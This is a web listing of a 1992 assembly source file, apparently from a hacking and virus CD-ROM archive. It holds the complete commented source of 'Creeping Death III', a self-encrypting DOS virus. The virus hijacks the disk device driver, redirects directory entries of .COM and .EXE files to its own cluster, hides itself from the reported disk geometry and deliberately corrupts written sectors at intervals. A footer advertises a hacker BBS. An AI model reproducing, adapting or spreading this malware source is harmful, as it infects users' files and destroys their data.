home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CDSET6.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  22KB  |  632 lines

  1. ;*****************************************************************************;
  2. ;                                                                             ;
  3. ; Creeping Death III (Encrypting, try to find it)                             ;
  4. ;                                                                             ;
  5. ; (c) Copyright 1992 by Bit Addict                                            ;
  6. ;                                                                             ;
  7. ;*****************************************************************************;
  8.  
  9. code segment public 'code'
  10.         assume    cs:code, ds:code, es:code, ss:code
  11.  
  12. ;*****************************************************************************;
  13. ;                                                                             ;
  14. ; Data                                                                        ;
  15. ;                                                                             ;
  16. ;*****************************************************************************;
  17.  
  18.         org    5ch            ; use the space reserved for
  19.                         ; the fcbs and command line
  20.                         ; for more inportant data,
  21.                         ; because we won't need this
  22.                         ; data when the virus is
  23.                         ; installed
  24.  
  25. EncryptWrite2:    db    36 dup(?)        ; Encrypt DoRequest Encrypt
  26.  
  27. BPB_Buf        db    32 dup(?)        ; buffer for BPB
  28.  
  29. Request        equ    this dword        ; address of the request header
  30. RequestOffset    dw    ?
  31. RequestSegment    dw    ?
  32.  
  33.  
  34.             org    100h            ; com-file starts at offset 100
  35.                         ; hex
  36.  
  37. ;*****************************************************************************;
  38. ;                                                                             ;
  39. ; Actual start of virus. In this part the virus initializes the stack and     ;
  40. ; adjusts the device driver used by dos to read and write from floppy's and   ;
  41. ; hard disks. Then it will start the orginal exe or com-file                  ;
  42. ;                                                                             ;
  43. ;*****************************************************************************;
  44.  
  45. Encrypt:    mov    si,offset Main-1    ; this part of the program
  46.         mov    cx,400h-11        ; will decode the encoded
  47. Repeat:        xor    byte ptr [si],0        ; program, so it can be 
  48.         inc    si            ; executed
  49.         loop    Repeat
  50.  
  51. Main:        mov    sp,600h            ; init stack
  52.         inc    word ptr Counter
  53.  
  54. ;*****************************************************************************;
  55. ;                                                                             ;
  56. ; Get dosversion, if the virus is running with dos 4+ then si will be 0 else  ;
  57. ; si will be -1                                                               ;
  58. ;                                                                             ;
  59. ;*****************************************************************************;
  60.  
  61. DosVersion:    mov    ah,30h            ; fn 30h = Get Dosversion
  62.         int    21h            ; int 21h
  63.         cmp    al,4            ; major dosversion 
  64.         sbb    di,di
  65.         mov    byte ptr drive[2],-1    ; set 2nd operand of cmp ah,??
  66.  
  67. ;*****************************************************************************;
  68. ;                                                                             ;
  69. ; Adjust the size of the codesegment, with dos function 4ah                   ;
  70. ;                                                                             ;
  71. ;*****************************************************************************;
  72.  
  73.         mov    bx,60h            ; Adjust size of memory block
  74.         mov    ah,4ah            ; to 60 paragraphs = 600h bytes
  75.         int    21h            ; int 21h
  76.  
  77.         mov    ah,52h            ; get internal list of lists
  78.         int    21h            ; int 21h
  79.  
  80. ;*****************************************************************************;
  81. ;                                                                             ;
  82. ; If the virus code segment is located behind the dos config memory block the ;
  83. ; code segment will be part of the config memory block making it 61h          ;
  84. ; paragraphs larger. If the virus is not located next to the config memory    ;
  85. ; block the virus will set the owner to 8h (Dos system)                       ;
  86. ;                                                                             ;
  87. ;*****************************************************************************;
  88.  
  89.         mov    ax,es:[bx-2]        ; segment of first MCB
  90.         mov    dx,cs            ; dx = MCB of the code segment
  91.         dec    dx
  92. NextMCB:    mov    ds,ax            ; ax = segment next MCB
  93.         add    ax,ds:[3]
  94.         inc    ax
  95.         cmp    ax,dx            ; are they equal ?
  96.         jne    NextMCB            ; no, not 1st program executed
  97.         cmp    word ptr ds:[1],8
  98.         jne    NoBoot
  99.         add    word ptr ds:[3],61h    ; add 61h to size of block
  100. NoBoot:        mov    ds,dx            ; ds = segment of MCB
  101.         mov    word ptr ds:[1],8    ; owner = dos system
  102.  
  103. ;*****************************************************************************;
  104. ;                                                                             ;
  105. ; The virus will search for the disk paramenter block for drive a: - c: in    ;
  106. ; order to find the device driver for these block devices. If any of these    ;
  107. ; blocks is found the virus will install its own device driver and set the    ;
  108. ; access flag to -1 to tell dos this device hasn't been accesed yet.          ;
  109. ;                                                                             ;
  110. ;*****************************************************************************;
  111.  
  112.         cld                ; clear direction flag
  113.         lds    bx,es:[bx]        ; get pointer to first drive
  114.                         ; paramenter block
  115.  
  116. Search:        cmp    bx,-1            ; last block ?
  117.         je    Last
  118.         mov    ax,ds:[bx+di+15h]    ; get segment of device header
  119.         cmp    ax,70h            ; dos device header ??
  120.         jne    Next            ; no, go to next device
  121.         xchg    ax,cx
  122.         mov    byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive 
  123.                         ; has not been accessed"
  124.         mov    si,offset Header-4    ; set address of new device
  125.         xchg    si,ds:[bx+di+13h]    ; and save old address
  126.         mov    ds:[bx+di+15h],cs
  127. Next:        lds    bx,ds:[bx+di+19h]    ; next drive parameter block
  128.         jmp    Search
  129.  
  130. ;*****************************************************************************;
  131. ;                                                                             ;
  132. ; If the virus has failed in starting the orginal exe-file it will jump here. ;
  133. ;                                                                             ;
  134. ;*****************************************************************************;
  135.  
  136. Boot:        mov    ds,ds:[16h]        ; es = parent PSP
  137.         mov    bx,ds:[16h]        ; bx = parent PSP of Parent PSP
  138.         xor    si,si
  139.         sub    bx,1            ; filename+path available ?
  140.         jnb    Exec            ; yes, execute it
  141.         mov    ax,cs            ; get segment of MCB
  142.         dec    ax
  143.         mov    ds,ax
  144.         mov    cl,8            ; count length of filename
  145.         mov    si,8
  146.         mov    di,0ffh
  147. Count:        lodsb
  148.         or    al,al
  149.         loopne    Count
  150.         not    cl
  151.         and    cl,7
  152. NextByte:    mov    si,8            ; search for this name in the
  153.         inc    di            ; parent PSP to find the path
  154.         push    di            ; to this file
  155.         push    cx
  156.         rep    cmpsb
  157.         pop    cx
  158.         pop    di
  159.         jne    NextByte
  160. BeginName:    dec    di            ; name found, search for start
  161.         cmp    byte ptr es:[di-1],0    ; of name+path
  162.         jne    BeginName
  163.         mov    si,di
  164.         mov    bx,es
  165.         jmp    short Exec        ; execute it
  166.  
  167. ;*****************************************************************************;
  168. ;                                                                             ;
  169. ; If none of these devices is found it means the virus is already resident    ;
  170. ; and the virus wasn't able to start the orginal exe-file (the file is        ;
  171. ; corrupted by copying it without the virus memory resident). If the device   ;
  172. ; is found the information in the header is copied.                           ;
  173. ;                                                                             ;
  174. ;*****************************************************************************;
  175.  
  176. Last:        jcxz    Exit
  177.  
  178. ;*****************************************************************************;
  179. ;                                                                             ;
  180. ; The information about the dos device driver is copyed to the virus code     ;
  181. ; segment                                                                     ;
  182. ;                                                                             ;
  183. ;*****************************************************************************;
  184.  
  185.         mov    ds,cx            ; ds = segment of Device Driver
  186.         add    si,4
  187.         push    cs
  188.         pop    es
  189.         mov    di,offset Header    ; prepare header of the viral
  190.         movsw                ; device driver and save the
  191.         lodsw                ; address of the dos strategy
  192.         mov    es:StrBlock,ax        ; and interrupt procedures
  193.         mov    ax,offset Strategy
  194.         stosw
  195.         lodsw
  196.         mov    es:IntBlock,ax
  197.         mov    ax,offset Interrupt
  198.         stosw
  199.         movsb
  200.  
  201. ;*****************************************************************************;
  202. ;                                                                             ;
  203. ; Deallocate the environment memory block and start the this file again, but  ;
  204. ; if the virus succeeds it will start the orginal exe-file.                   ;
  205. ;                                                                             ;
  206. ;*****************************************************************************;
  207.  
  208.         push    cs
  209.         pop    ds
  210.         mov    bx,ds:[2ch]        ; environment segment
  211.         or    bx,bx            ; environment available ?
  212.         jz    Boot            ; no, computer is rebooted
  213.         mov    es,bx
  214.         mov    ah,49h            ; deallocate memory
  215.         int    21h
  216.         xor    ax,ax            ; end of environment is marked
  217.         mov    di,1            ; with two zero bytes
  218. Seek:        dec    di            ; scan for end of environment
  219.         scasw
  220.         jne    Seek
  221.         lea    si,ds:[di+2]        ; es:si = start of filename
  222. Exec:        push    bx
  223.         push    cs
  224.         pop    ds
  225.         mov    bx,offset Param
  226.         mov    ds:[bx+4],cs        ; set segments in EPB
  227.         mov    ds:[bx+8],cs
  228.         mov    ds:[bx+12],cs
  229.         pop    ds
  230.         push    cs
  231.         pop    es
  232.  
  233.         mov    di,offset Filename    ; copy name of this file
  234.         push    di
  235.         mov    cx,40
  236.         rep    movsw
  237.         push    cs
  238.         pop    ds
  239.  
  240.         mov    ah,3dh            ; open file, this file will
  241.         mov    dx,offset File        ; not be found but the entire
  242.         int    21h            ; directory is searched and
  243.         pop    dx            ; infected
  244.  
  245.         mov    ax,4b00h        ; execute file
  246.         int    21h
  247. Exit:        mov    ah,4dh            ; get exit-code
  248.         int    21h
  249.         mov    ah,4ch            ; terminate (al = exit code)
  250.         int    21h
  251.  
  252. ;*****************************************************************************;
  253. ;                                                                             ;
  254. ; Installation complete                                                       ;
  255. ;                                                                             ;
  256. ;*****************************************************************************;
  257. ;                                                                             ;
  258. ; The next part contains the device driver used by creeping death to infect   ;
  259. ; directory's                                                                 ;
  260. ;                                                                             ;
  261. ; The device driver uses only the strategy routine to handle the requests.    ;
  262. ; I don't know if this is because the virus will work better or the writer    ;
  263. ; of this virus didn't know how to do it right.                               ;
  264. ;                                                                             ;
  265. ;*****************************************************************************;
  266.  
  267.  
  268. Strategy:    mov    cs:RequestOffset,bx    ; store segment and offset of
  269.         mov    cs:RequestSegment,es    ; request block
  270.         retf                ; return to dos (or whatever
  271.                         ; called this device driver)
  272.  
  273. Interrupt:    push    ax            ; driver strategy block
  274.         push    bx            ; save registers
  275.         push    cx
  276.         push    dx
  277.         push    si
  278.         push    di
  279.         push    ds
  280.         push    es
  281.  
  282.         les    bx,cs:Request        ; es:bx = request block
  283.         push    es            ; ds:bx = request block
  284.         pop    ds
  285.         mov    al,ds:[bx+2]        ; command code
  286.  
  287.         cmp    al,4            ; read sector from disk
  288.         je    Input
  289.         cmp    al,8            ; write sector to disk
  290.         je    Output
  291.         cmp    al,9
  292.         je    Output
  293.  
  294.         call    DoRequest        ; let dos do handle the request
  295.  
  296.         cmp    al,2            ; Build BPB
  297.         jne    Return
  298.         lds    si,ds:[bx+12h]        ; copy the BPB and change it
  299.         mov    di,offset bpb_buf    ; into one that hides the virus
  300.         mov    es:[bx+12h],di
  301.         mov    es:[bx+14h],cs
  302.         push    es            ; copy
  303.         push    cs
  304.         pop    es
  305.         mov    cx,16
  306.         rep    movsw
  307.         pop    es
  308.         push    cs
  309.         pop    ds
  310.         mov    al,ds:[di+2-32]        ; change
  311.         cmp    al,2
  312.         adc    al,0
  313.         cbw
  314.         cmp    word ptr ds:[di+8-32],0    ; >32mb partition ?
  315.         je    m32            ; yes, jump to m32
  316.         sub    ds:[di+8-32],ax        ; <32mb partition
  317.         jmp    short Return
  318. m32:        sub    ds:[di+15h-32],ax    ; >32mb partition
  319.         sbb    word ptr ds:[di+17h-32],0
  320. Return:        pop    es            ; return to caller
  321.         pop    ds
  322.         pop    di
  323.         pop    si
  324.         pop    dx
  325.         pop    cx
  326.         pop    bx
  327.         pop    ax
  328.         retf
  329.  
  330. Output:        inc    byte ptr cs:Random    ; increase counter
  331.         jnz    Skip            ; zero ?
  332.         push    bx            ; yes, change one byte in the
  333.         push    ds            ; sector to write
  334.         lds    bx,ds:[bx+16h]
  335.         inc    bh
  336.         inc    byte ptr ds:[bx]    ; destroy some data
  337.         pop    ds
  338.         pop    bx
  339. Skip:        mov    cx,0ff09h
  340.         call    Check            ; check if disk changed
  341.         jz    Disk            ; yes, write virus to disk
  342.         jmp    InfectSector        ; no, just infect sector
  343. Disk:        call    DoRequest
  344.         jmp    short InfectDisk
  345.  
  346. ReadError:    add    sp,16            ; error during request
  347.         jmp    short Return
  348.  
  349. Input:        call    check            ; check if disk changed
  350.         jnz    InfectDisk        ; no, read sector
  351.         jmp    Read
  352. InfectDisk:    mov    byte ptr ds:[bx+2],4    ; yes, write virus to disk
  353.         cld                ; save last part of request
  354.         lea    si,ds:[bx+0eh]
  355.         mov    cx,8
  356. Save:        lodsw
  357.         push    ax
  358.         loop    Save
  359.         mov    word ptr ds:[bx+14h],1    ; read 1st sector on disk
  360.         call    ReadSector
  361.         jnz    ReadError
  362.         mov    byte ptr ds:[bx+2],2    ; build BPB
  363.         call    DoRequest
  364.         lds    si,ds:[bx+12h]        ; ds:si = BPB
  365.         mov    di,ds:[si+6]        ; size of root directory
  366.         add    di,15            ; in sectors
  367.         mov    cl,4
  368.         shr    di,cl
  369.         mov    al,ds:[si+5]
  370.         cbw
  371.         mov    dx,ds:[si+0bh]
  372.         mul    dx            ; ax=fat sectors, dx=0
  373.         add    ax,ds:[si+3]
  374.         add    di,ax
  375.         push    di            ; save it on stack
  376.         mov    ax,ds:[si+8]        ; total number of sectors
  377.         cmp    ax,dx            ; >32mb
  378.         jnz    More            ; no, skip next 2 instructions
  379.         mov    ax,ds:[si+15h]        ; get number of sectors
  380.         mov    dx,ds:[si+17h]
  381. More:        xor    cx,cx            ; cx=0
  382.         sub    ax,di            ; dx:ax=number is data sectors
  383.         sbb    dx,cx
  384.         mov    cl,ds:[si+2]        ; cx=sectors / cluster
  385.         div    cx            ; number of clusters on disk
  386.         cmp    cl,2            ; 1 sector/cluster ?
  387.         sbb    ax,-1            ; number of clusters (+1 or +2)
  388.         push    ax            ; save it on stack
  389.         call    Convert            ; get fat sector and offset in
  390.         mov    byte ptr es:[bx+2],4    ; sector
  391.         mov    es:[bx+14h],ax
  392.         call    ReadSector        ; read fat sector
  393.         lds    si,es:[bx+0eh]
  394.         add    si,dx
  395.         sub    dh,cl            ; has something to do with the
  396.         adc    dx,ax            ; encryption of the pointers
  397.         mov    word ptr cs:[gad+1],dx
  398.         cmp    cl,1            ; 1 sector / cluster
  399.         jne    Ok
  400.         not    di            ; this is used when the
  401.         and    ds:[si],di        ; clusters are 1 sector long
  402.         pop    ax            ; allocate 1st cluster
  403.         push    ax
  404.         inc    ax
  405.         push    ax
  406.         mov    dx,0fh
  407.         test    di,dx
  408.         jz    Here
  409.         inc    dx
  410.         mul    dx
  411. Here:        or    ds:[si],ax
  412.         pop    ax
  413.         call    Convert
  414.         mov    si,es:[bx+0eh]
  415.         add    si,dx
  416. Ok:        mov    ax,ds:[si]        ; allocate last cluster
  417.         and    ax,di
  418.         mov    dx,di
  419.         dec    dx
  420.         and    dx,di
  421.         not    di
  422.         and    ds:[si],di
  423.         or    ds:[si],dx
  424.         cmp    ax,dx            ; cluster already allocated by
  425.         pop    ax            ; the virus ?
  426.         pop    di
  427.         mov    word ptr cs:[pointer+1],ax
  428.         je    DiskInfected        ; yes, don't write it and go on
  429.         mov    dx,ds:[si]
  430.         mov    byte ptr es:[bx+2],8    ; write the adjusted sector to
  431.         call    DoRequest        ; disk
  432.         jnz    DiskInfected
  433.         mov    byte ptr es:[bx+2],4    ; read it again
  434.         call    ReadSector
  435.         cmp    ds:[si],dx        ; is it written correctly ?
  436.         jne    DiskInfected        ; no, can't infect disk
  437.         dec    ax
  438.         dec    ax            ; calculate the sector number
  439.         mul    cx            ; to write the virus to
  440.         add    ax,di
  441.         adc    dx,0
  442.         push    es
  443.         pop    ds
  444.         mov    word ptr ds:[bx+12h],2
  445.         mov    ds:[bx+14h],ax        ; store it in the request hdr
  446.         test    dx,dx
  447.         jz    Less
  448.         mov    word ptr ds:[bx+14h],-1
  449.         mov    ds:[bx+1ah],ax
  450.         mov    ds:[bx+1ch],dx
  451. Less:        mov    ds:[bx+10h],cs
  452.         mov    ds:[bx+0eh],100h
  453.         mov    byte ptr es:[bx+2],8    ; write it
  454.         call    EncryptWrite1
  455.  
  456. DiskInfected:    mov    byte ptr ds:[bx+2],4    ; restore this byte
  457.         std                ; restore other part of the
  458.         lea    di,ds:[bx+1ch]        ; request
  459.         mov    cx,8
  460. Load:        pop    ax
  461.         stosw
  462.         loop    Load
  463. Read:        call    DoRequest        ; do request
  464.  
  465.         mov    cx,9
  466. InfectSector:    mov    di,es:[bx+12h]        ; get number of sectors read
  467.         lds    si,es:[bx+0eh]        ; get address of data
  468.         sal    di,cl            ; calculate end of buffer
  469.         xor    cl,cl
  470.         add    di,si
  471.         xor    dl,dl
  472.         push    ds            ; infect the sector
  473.         push    si
  474.         call    find
  475.         jcxz    no_inf            ; write sector ?
  476.         mov    al,8
  477.         xchg    al,es:[bx+2]        ; save command byte
  478.         call    DoRequest        ; write sector
  479.         mov    es:[bx+2],al        ; restore command byte
  480.         and    byte ptr es:[bx+4],07fh
  481. no_inf:        pop    si
  482.         pop    ds
  483.         inc    dx            ; disinfect sector in memory
  484.         call    find
  485.         jmp    Return            ; return to caller
  486.  
  487. ;*****************************************************************************;
  488. ;                                                                             ;
  489. ; Subroutines                                                                 ;
  490. ;                                                                             ;
  491. ;*****************************************************************************;
  492.  
  493. Find:        mov    ax,ds:[si+8]        ; (dis)infect sector in memory
  494.         cmp    ax,"XE"            ; check for .exe
  495.         jne    com
  496.         cmp    ds:[si+10],al
  497.         je    found
  498. Com:        cmp    ax,"OC"            ; check for .com
  499.         jne    go_on
  500.         cmp    byte ptr ds:[si+10],"M"
  501.         jne    go_on
  502. Found:        test    word ptr ds:[si+1eh],0ffc0h ; file to big
  503.         jnz    go_on                ; more than 4mb
  504.         test    word ptr ds:[si+1dh],03ff8h ; file to small
  505.         jz    go_on                ; less than  2048 bytes
  506.         test    byte ptr ds:[si+0bh],1ch    ; directory, system or
  507.         jnz    go_on                ; volume label
  508.         test    dl,dl            ; infect or disinfect ?
  509.         jnz    rest
  510. Pointer:    mov    ax,1234h        ; ax = viral cluster
  511.         cmp    ax,ds:[si+1ah]        ; file already infected ?
  512.         je    go_on            ; yes, go on
  513.         xchg    ax,ds:[si+1ah]        ; exchange pointers
  514. Gad:        xor    ax,1234h        ; encryption
  515.         mov    ds:[si+14h],ax        ; store it on another place
  516.         loop    go_on            ; change cx and go on
  517. Rest:        xor    ax,ax            ; ax = 0
  518.         xchg    ax,ds:[si+14h]        ; get pointer
  519.         xor    ax,word ptr cs:[gad+1]    ; Encrypt
  520.         mov    ds:[si+1ah],ax        ; store it on the right place
  521. Go_on:        rol    word ptr cs:[gad+1],1    ; change encryption
  522.         add    si,32            ; next directory entry
  523.         cmp    di,si            ; end of buffer ?
  524.         jne    find            ; no, do it again
  525.         ret                ; return
  526.  
  527. Check:        mov    ah,ds:[bx+1]            ; get number of unit
  528. Drive:        cmp    ah,-1                ; same as last call ?
  529.         mov    byte ptr cs:[drive+2],ah    ; set 2nd parameter
  530.         jne    Changed
  531.         push    ds:[bx+0eh]            ; save word
  532.         mov    byte ptr ds:[bx+2],1        ; disk changed ?
  533.         call    DoRequest
  534.         cmp    byte ptr ds:[bx+0eh],1        ; 1=Yes
  535.         pop    ds:[bx+0eh]            ; restore word
  536.         mov    ds:[bx+2],al            ; restore command
  537. Changed:    ret                    ; return
  538.  
  539. ReadSector:    mov    word ptr es:[bx+12h],1        ; read sector from disk
  540.  
  541. DoRequest:    db    09ah            ; call 70:?, orginal strategy
  542. StrBlock    dw    ?,70h
  543.         db    09ah            ; call 70:?, orginal interrupt
  544. IntBlock    dw    ?,70h
  545.         test    byte ptr es:[bx+4],80h    ; error ? yes, zf = 0
  546.         ret                ; return
  547.  
  548. Convert:    cmp    ax,0ff0h        ; convert cluster number into
  549.         jae    Fat16            ; an sector number and offset
  550.         mov    si,3            ; into this sector containing
  551.         xor    word ptr cs:[si+gad-1],si    ; the fat-item of this
  552.         mul    si                ; cluster
  553.         shr    ax,1
  554.         mov    di,0fffh
  555.         jnc    Continue
  556.         mov    di,0fff0h
  557.         jmp    short Continue
  558. Fat16:        mov    si,2
  559.         mul    si
  560.         mov    di,0ffffh
  561. Continue:    mov    si,512
  562.         div    si
  563.         inc    ax
  564.         ret
  565.  
  566. EncryptWrite1:    push    ds                ; write virus to disk
  567.         push    cs                ; (encrypted) save regs
  568.         pop    ds
  569.         push    es
  570.         push    cs
  571.         pop    es
  572.         cld                    ; copy forward
  573.         mov    cx,12                ; length of encryptor
  574.         mov    si,offset Encrypt        ; start of encryptor
  575.         mov    di,offset EncryptWrite2        ; destenation
  576.         inc    byte ptr ds:[si+8]        ; change xor value
  577.         rep    movsb                ; copy encryptor
  578.         mov    cl,10                ; copy dorequest proc
  579.         mov    si,offset DoRequest
  580.         rep    movsb
  581.         mov    cl,12                ; copy encryptor
  582.         mov    si,offset Encrypt
  583.         rep    movsb
  584.         mov    ax,0c31fh            ; store "pop ds","ret"
  585.         stosw                    ; instructions
  586.         pop    es                ; restore register
  587.         jmp    EncryptWrite2            ; encrypt and write vir
  588.  
  589. ;*****************************************************************************;
  590. ;                                                                             ;
  591. ; Data                                                                        ;
  592. ;                                                                             ;
  593. ;*****************************************************************************;
  594.  
  595. File        db    "C:",255,0        ; the virus tries to open this
  596.                         ; file
  597.  
  598. Counter        dw    0            ; this will count the number of
  599.                         ; systems that are infected by
  600.                         ; this virus
  601.  
  602. Param        dw    0,80h,?,5ch,?,6ch,?    ; parameters for the
  603.                         ; exec-function
  604.  
  605. Random        db    ?            ; if this byte becomes zero
  606.                         ; the virus will change the
  607.                         ; sector that will be written
  608.                         ; to disk
  609.  
  610. Header        db    7 dup(?)        ; this is the header for the
  611.                         ; device driver
  612.  
  613. Filename    db    ?            ; Buffer for the filename used
  614.                         ; by the exec-function
  615.  
  616.  
  617. ;*****************************************************************************;
  618. ;                                                                             ;
  619. ; The End                                                                     ;
  620. ;                                                                             ;
  621. ;*****************************************************************************;
  622.  
  623. code ends                    ; end of the viral code
  624.  
  625. end Encrypt                    ; start at offset 100h for
  626.                         ; com-file
  627. 
  628. ;  ─────────────────────────────────────────────────────────────────────────
  629. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  630. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  631. ;  ─────────────────────────────────────────────────────────────────────────
  632.